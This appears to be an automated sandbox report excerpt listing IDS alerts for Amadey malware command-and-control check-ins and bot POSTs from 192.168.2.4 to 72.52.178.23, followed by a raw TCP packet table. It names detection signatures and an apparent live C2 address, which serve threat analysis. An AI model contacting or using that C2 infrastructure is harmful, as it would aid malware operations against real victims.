2024-11-29T01:52:11.528470+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49738	72.52.178.23	80	TCP
2024-11-29T01:52:12.501363+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49741	72.52.178.23	80	TCP
2024-11-29T01:52:12.981025+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49740	72.52.178.23	80	TCP
2024-11-29T01:52:13.985422+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49744	72.52.178.23	80	TCP
2024-11-29T01:52:14.408327+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49743	72.52.178.23	80	TCP
2024-11-29T01:52:15.461450+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49747	72.52.178.23	80	TCP
2024-11-29T01:52:15.830022+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49746	72.52.178.23	80	TCP
2024-11-29T01:52:16.814535+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49750	72.52.178.23	80	TCP
2024-11-29T01:52:17.254440+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49748	72.52.178.23	80	TCP
2024-11-29T01:52:18.341354+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49753	72.52.178.23	80	TCP
2024-11-29T01:52:18.722005+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49752	72.52.178.23	80	TCP
2024-11-29T01:52:20.080275+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49755	72.52.178.23	80	TCP
2024-11-29T01:52:20.089421+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49756	72.52.178.23	80	TCP
2024-11-29T01:52:21.513735+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49757	72.52.178.23	80	TCP
2024-11-29T01:52:21.601531+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49759	72.52.178.23	80	TCP
2024-11-29T01:52:23.009476+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49760	72.52.178.23	80	TCP
2024-11-29T01:52:23.129615+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49761	72.52.178.23	80	TCP
2024-11-29T01:52:24.420715+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49762	72.52.178.23	80	TCP
2024-11-29T01:52:24.653443+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49763	72.52.178.23	80	TCP
2024-11-29T01:52:25.838374+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49764	72.52.178.23	80	TCP
2024-11-29T01:52:26.189519+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49765	72.52.178.23	80	TCP
2024-11-29T01:52:27.246125+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49766	72.52.178.23	80	TCP
2024-11-29T01:52:27.816621+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49768	72.52.178.23	80	TCP
2024-11-29T01:52:28.667905+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49767	72.52.178.23	80	TCP
2024-11-29T01:52:29.405772+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49770	72.52.178.23	80	TCP
2024-11-29T01:52:30.046260+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49769	72.52.178.23	80	TCP
2024-11-29T01:52:30.905524+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49772	72.52.178.23	80	TCP
2024-11-29T01:52:31.416923+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49771	72.52.178.23	80	TCP
2024-11-29T01:52:32.477602+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49774	72.52.178.23	80	TCP
2024-11-29T01:52:32.825359+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49773	72.52.178.23	80	TCP
2024-11-29T01:52:33.525668+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49776	72.52.178.23	80	TCP
2024-11-29T01:52:34.293986+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49775	72.52.178.23	80	TCP
2024-11-29T01:52:35.029629+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49778	72.52.178.23	80	TCP
2024-11-29T01:52:35.714251+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49777	72.52.178.23	80	TCP
2024-11-29T01:52:36.617642+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49780	72.52.178.23	80	TCP
2024-11-29T01:52:37.136655+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49779	72.52.178.23	80	TCP
2024-11-29T01:52:38.165655+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49782	72.52.178.23	80	TCP
2024-11-29T01:52:38.560137+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49781	72.52.178.23	80	TCP
2024-11-29T01:52:39.673883+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49784	72.52.178.23	80	TCP
2024-11-29T01:52:39.955197+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49783	72.52.178.23	80	TCP
2024-11-29T01:52:40.534446+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49786	72.52.178.23	80	TCP
2024-11-29T01:52:41.437541+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49785	72.52.178.23	80	TCP
2024-11-29T01:52:42.065611+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49788	72.52.178.23	80	TCP
2024-11-29T01:52:42.812140+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49787	72.52.178.23	80	TCP
2024-11-29T01:52:43.541623+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49790	72.52.178.23	80	TCP
2024-11-29T01:52:44.285726+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49789	72.52.178.23	80	TCP
2024-11-29T01:52:44.954479+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49792	72.52.178.23	80	TCP
2024-11-29T01:52:45.654435+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49791	72.52.178.23	80	TCP
2024-11-29T01:52:46.373796+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49794	72.52.178.23	80	TCP
2024-11-29T01:52:47.027381+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49793	72.52.178.23	80	TCP
2024-11-29T01:52:47.925689+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49796	72.52.178.23	80	TCP
2024-11-29T01:52:48.498487+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49795	72.52.178.23	80	TCP
2024-11-29T01:52:49.357695+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49798	72.52.178.23	80	TCP
2024-11-29T01:52:49.872718+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49797	72.52.178.23	80	TCP
2024-11-29T01:52:51.173677+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49800	72.52.178.23	80	TCP
2024-11-29T01:52:51.253942+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49799	72.52.178.23	80	TCP
2024-11-29T01:52:52.621722+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49802	72.52.178.23	80	TCP
2024-11-29T01:52:52.668893+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49801	72.52.178.23	80	TCP
2024-11-29T01:52:54.150875+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49803	72.52.178.23	80	TCP
2024-11-29T01:52:54.185690+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49804	72.52.178.23	80	TCP
2024-11-29T01:52:55.664544+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49808	72.52.178.23	80	TCP
2024-11-29T01:52:55.737832+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49806	72.52.178.23	80	TCP
2024-11-29T01:52:57.130060+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49809	72.52.178.23	80	TCP
2024-11-29T01:52:57.249610+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49810	72.52.178.23	80	TCP
2024-11-29T01:52:58.608525+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49816	72.52.178.23	80	TCP
2024-11-29T01:52:58.836751+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49817	72.52.178.23	80	TCP
2024-11-29T01:53:00.074698+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49818	72.52.178.23	80	TCP
2024-11-29T01:53:00.309747+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49824	72.52.178.23	80	TCP
2024-11-29T01:53:01.540031+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49825	72.52.178.23	80	TCP
2024-11-29T01:53:01.814602+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49826	72.52.178.23	80	TCP
2024-11-29T01:53:02.950391+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49829	72.52.178.23	80	TCP
2024-11-29T01:53:03.285841+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49833	72.52.178.23	80	TCP
2024-11-29T01:53:04.862658+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49840	72.52.178.23	80	TCP
2024-11-29T01:53:05.839066+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49841	72.52.178.23	80	TCP
2024-11-29T01:53:06.337850+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49843	72.52.178.23	80	TCP
2024-11-29T01:53:07.198687+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49844	72.52.178.23	80	TCP
2024-11-29T01:53:07.853949+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49850	72.52.178.23	80	TCP
2024-11-29T01:53:08.734615+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49849	72.52.178.23	80	TCP
2024-11-29T01:53:09.357786+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49857	72.52.178.23	80	TCP
2024-11-29T01:53:10.104833+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49856	72.52.178.23	80	TCP
2024-11-29T01:53:10.877867+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49860	72.52.178.23	80	TCP
2024-11-29T01:53:11.511432+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49858	72.52.178.23	80	TCP
2024-11-29T01:53:12.361810+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49866	72.52.178.23	80	TCP
2024-11-29T01:53:12.937105+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49865	72.52.178.23	80	TCP
2024-11-29T01:53:13.881838+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49872	72.52.178.23	80	TCP
2024-11-29T01:53:14.315574+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49871	72.52.178.23	80	TCP
2024-11-29T01:53:14.881773+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49874	72.52.178.23	80	TCP
2024-11-29T01:53:15.684627+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49873	72.52.178.23	80	TCP
2024-11-29T01:53:16.601975+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49881	72.52.178.23	80	TCP
2024-11-29T01:53:17.102127+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49880	72.52.178.23	80	TCP
2024-11-29T01:53:18.109853+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49888	72.52.178.23	80	TCP
2024-11-29T01:53:18.479497+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49883	72.52.178.23	80	TCP
2024-11-29T01:53:19.769801+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49890	72.52.178.23	80	TCP
2024-11-29T01:53:19.887473+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49889	72.52.178.23	80	TCP
2024-11-29T01:53:20.525902+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49897	72.52.178.23	80	TCP
2024-11-29T01:53:21.308380+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49895	72.52.178.23	80	TCP
2024-11-29T01:53:22.074131+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49899	72.52.178.23	80	TCP
2024-11-29T01:53:22.774742+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49898	72.52.178.23	80	TCP
2024-11-29T01:53:23.663366+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49906	72.52.178.23	80	TCP
2024-11-29T01:53:24.251424+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49905	72.52.178.23	80	TCP
2024-11-29T01:53:24.994496+0100	2044597	ET MALWARE Amadey Bot Activity (POST) M1	1	192.168.2.4	49913	72.52.178.23	80	TCP
2024-11-29T01:53:25.627830+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49911	72.52.178.23	80	TCP
2024-11-29T01:53:27.116604+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49914	72.52.178.23	80	TCP
2024-11-29T01:53:27.597306+0100	2027700	ET MALWARE Amadey CnC Check-In	1	192.168.2.4	49921	72.52.178.23	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 29, 2024 01:52:04.460316896 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.460530996 CET	49731	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.580347061 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.580411911 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.580421925 CET	80	49731	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.580471992 CET	49731	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.581871033 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.581976891 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.582056999 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.582140923 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.582485914 CET	49731	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.701752901 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.701860905 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.701910973 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.701970100 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.701992989 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.702003002 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.702052116 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.702094078 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.702104092 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.702147961 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.702147961 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.702173948 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.702218056 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.820311069 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.820334911 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.820346117 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.820389032 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.820410967 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.820424080 CET	80	49731	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.820446014 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.821909904 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.821959972 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.821964025 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.821970940 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.822020054 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.822125912 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.822169065 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.822173119 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.822212934 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.865324974 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.865407944 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:04.981235981 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:04.981328964 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.029333115 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.029416084 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.145369053 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.241234064 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.241358995 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.485297918 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.485359907 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.534672976 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.538317919 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.605416059 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.658423901 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.658433914 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.658462048 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.658466101 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.658504009 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.658512115 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.658544064 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.729379892 CET	80	49731	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.730293036 CET	49731	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.764666080 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.764731884 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.828640938 CET	49731	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.829130888 CET	49730	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:05.948574066 CET	80	49731	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:05.948987961 CET	80	49730	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.012587070 CET	49732	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.132772923 CET	80	49732	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.132895947 CET	49732	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.264380932 CET	49732	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.332396030 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.384409904 CET	80	49732	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.452488899 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.452554941 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.452677965 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.452703953 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.452795029 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.452821016 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.572534084 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.572721004 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.572731018 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.572738886 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.572786093 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.572794914 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.572807074 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.572829008 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.572859049 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.572879076 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.572954893 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.572963953 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.573009968 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.573014975 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.573051929 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.573060989 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.573065042 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.573102951 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.693243027 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.693258047 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.693280935 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.693332911 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.693336010 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.693373919 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.693521023 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.693569899 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.737309933 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.737551928 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.857326984 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.857420921 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:06.905276060 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:06.905344963 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.021276951 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.021384954 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.117254019 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.117356062 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.237472057 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.237556934 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.317111969 CET	80	49732	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.320341110 CET	49732	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.320380926 CET	49732	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.370053053 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.370138884 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.425857067 CET	49734	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.440412045 CET	80	49732	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.490231991 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.490253925 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.490298033 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.490312099 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.490463018 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.545933008 CET	80	49734	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.546009064 CET	49734	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.546147108 CET	49734	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.591523886 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.591587067 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.591630936 CET	49733	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.666069984 CET	80	49734	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.711514950 CET	80	49733	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.788748026 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.908853054 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:07.908987045 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.909174919 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.909291983 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.909410954 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:07.909450054 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.029165030 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029239893 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029251099 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029314995 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.029407024 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029422045 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029454947 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.029474020 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.029491901 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029511929 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029537916 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.029555082 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.029572010 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029582024 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029644966 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.029673100 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029683113 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029690027 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.029726028 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.029726028 CET	49735	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:52:08.149770021 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.149801016 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.149818897 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.149827957 CET	80	49735	72.52.178.23	192.168.2.4
Nov 29, 2024 01:52:08.149885893 CET	49735	80	192.168.2.4	72.52.178.23
